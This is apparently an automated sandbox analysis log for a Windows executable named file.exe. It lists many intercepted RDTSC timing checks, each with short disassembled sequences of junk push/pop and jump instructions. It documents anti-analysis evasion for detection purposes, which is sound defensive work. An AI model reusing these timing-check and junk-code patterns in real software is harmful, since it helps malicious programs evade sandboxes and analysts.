Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E5EC second address: 74E613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F2C24E65196h 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F2C24E65196h 0x00000012 jmp 00007F2C24E651A5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74E613 second address: 74E617 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE66F second address: 6AE673 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE673 second address: 6AE698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2C247D9BF0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F2C247D9BECh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE698 second address: 6AE6A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE6A2 second address: 6AE6A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AE6A7 second address: 6AE6B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F2C24E65196h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756121 second address: 75613E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2C247D9BE6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2C247D9BEDh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75613E second address: 756142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756142 second address: 756146 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756C0B second address: 756C13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7571FF second address: 75721A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F2C247D9BF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7574E2 second address: 7574E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7574E6 second address: 757501 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2C247D9BE6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pushad 0x0000000e push edi 0x0000000f jg 00007F2C247D9BE6h 0x00000015 pop edi 0x00000016 pushad 0x00000017 push esi 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757501 second address: 757507 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757D38 second address: 757D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BBED second address: 75BBF7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2C24E65196h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BBF7 second address: 75BC0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F2C247D9BEFh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BC0F second address: 75BC18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BC18 second address: 75BC1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BC1C second address: 75BC4A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F2C24E65196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jnl 00007F2C24E65196h 0x00000011 pop esi 0x00000012 popad 0x00000013 jng 00007F2C24E651BDh 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F2C24E651A3h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75BC4A second address: 75BC55 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75AEF4 second address: 75AF08 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2C24E6519Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75AF08 second address: 75AF0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75B1B0 second address: 75B1BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75B1BA second address: 75B1BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75B4CB second address: 75B4DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F2C24E65196h 0x0000000a pop edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75B4DB second address: 75B4E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760264 second address: 760268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766C10 second address: 766C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766C14 second address: 766C19 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766E90 second address: 766E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766E94 second address: 766EB2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 ja 00007F2C24E65196h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007F2C24E651A2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767343 second address: 76734B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76734B second address: 767379 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E651A5h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e jmp 00007F2C24E6519Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7674DC second address: 767507 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F2C247D9BF0h 0x00000010 push esi 0x00000011 pushad 0x00000012 popad 0x00000013 jbe 00007F2C247D9BE6h 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767790 second address: 7677A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2C24E6519Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7677A3 second address: 7677FF instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2C247D9BE6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F2C247D9BF0h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jno 00007F2C247D9BE6h 0x0000001a jmp 00007F2C247D9BF2h 0x0000001f popad 0x00000020 jbe 00007F2C247D9BF7h 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a push edi 0x0000002b pop edi 0x0000002c jne 00007F2C247D9BE6h 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7677FF second address: 767804 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767804 second address: 76780C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76792D second address: 767951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F2C24E65196h 0x0000000a popad 0x0000000b jmp 00007F2C24E6519Eh 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 767951 second address: 767957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7687C5 second address: 7687CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7687CE second address: 7687F3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2C247D9BF5h 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F2C247D9BE6h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76660C second address: 76663A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2C24E65196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F2C24E651A3h 0x00000010 jmp 00007F2C24E6519Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77037D second address: 770385 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76FD3E second address: 76FD42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76FE7F second address: 76FEA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2C247D9BF9h 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76FEA0 second address: 76FEA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77004E second address: 77006E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F2C247D9BF7h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77006E second address: 770072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 770072 second address: 77008A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BF2h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77008A second address: 7700B3 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2C24E6519Ch 0x00000008 jp 00007F2C24E65196h 0x0000000e push edx 0x0000000f jmp 00007F2C24E651A8h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D529 second address: 77D52D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D52D second address: 77D54A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2C24E6519Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F2C24E65196h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D54A second address: 77D54E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D54E second address: 77D554 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CE91 second address: 77CEE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 ja 00007F2C247D9BF1h 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f jmp 00007F2C247D9BF3h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F2C247D9BF9h 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f pushad 0x00000020 popad 0x00000021 jnc 00007F2C247D9BE6h 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CEE6 second address: 77CEF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F2C24E65196h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F537 second address: 77F54D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F2C247D9BE6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jnp 00007F2C247D9BE6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F0AA second address: 77F0AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F0AE second address: 77F0B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F0B2 second address: 77F0C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2C24E6519Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F0C2 second address: 77F0D6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jns 00007F2C247D9BE6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop ebx 0x0000000c jc 00007F2C247D9BF2h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F0D6 second address: 77F0DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F0DC second address: 77F109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jmp 00007F2C247D9BF7h 0x00000010 popad 0x00000011 jnl 00007F2C247D9BEEh 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F109 second address: 77F10D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F10D second address: 77F126 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F2C247D9BEFh 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F126 second address: 77F13D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2C24E651A3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77F13D second address: 77F147 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F2C247D9BE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 780C62 second address: 780C7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F2C24E65196h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007F2C24E6519Fh 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 780C7F second address: 780C87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78222B second address: 782248 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F2C24E651A8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C0E7 second address: 78C0FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BF0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C0FB second address: 78C105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C105 second address: 78C109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C109 second address: 78C10D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C10D second address: 78C136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F2C247D9BE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F2C247D9BF0h 0x00000014 js 00007F2C247D9BEAh 0x0000001a push edx 0x0000001b pop edx 0x0000001c push edi 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C136 second address: 78C148 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2C24E6519Ch 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79385B second address: 793860 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BB35 second address: 79BB3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BB3A second address: 79BB85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BF7h 0x00000007 pushad 0x00000008 ja 00007F2C247D9BE6h 0x0000000e jp 00007F2C247D9BE6h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 je 00007F2C247D9BEEh 0x0000001f jnl 00007F2C247D9BF2h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BB85 second address: 79BB98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F2C24E6519Ah 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BE13 second address: 79BE2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F2C247D9BEAh 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C09B second address: 79C0B7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F2C24E65196h 0x00000008 jmp 00007F2C24E651A2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C371 second address: 79C375 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A07FF second address: 7A080B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F2C24E6519Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2D57 second address: 7A2D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2D5C second address: 7A2D63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA180 second address: 6BA19E instructions: 0x00000000 rdtsc 0x00000002 je 00007F2C247D9BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e jmp 00007F2C247D9BEEh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BA19E second address: 6BA1A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B3777 second address: 7B3780 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B3780 second address: 7B3784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B3784 second address: 7B378E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2C247D9BE6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B7BED second address: 7B7C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F2C24E65196h 0x0000000a pop eax 0x0000000b je 00007F2C24E6519Ah 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 jc 00007F2C24E651AAh 0x0000001c push edi 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 pop eax 0x00000021 pop edi 0x00000022 pushad 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB177 second address: 7BB190 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F2C247D9BF2h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
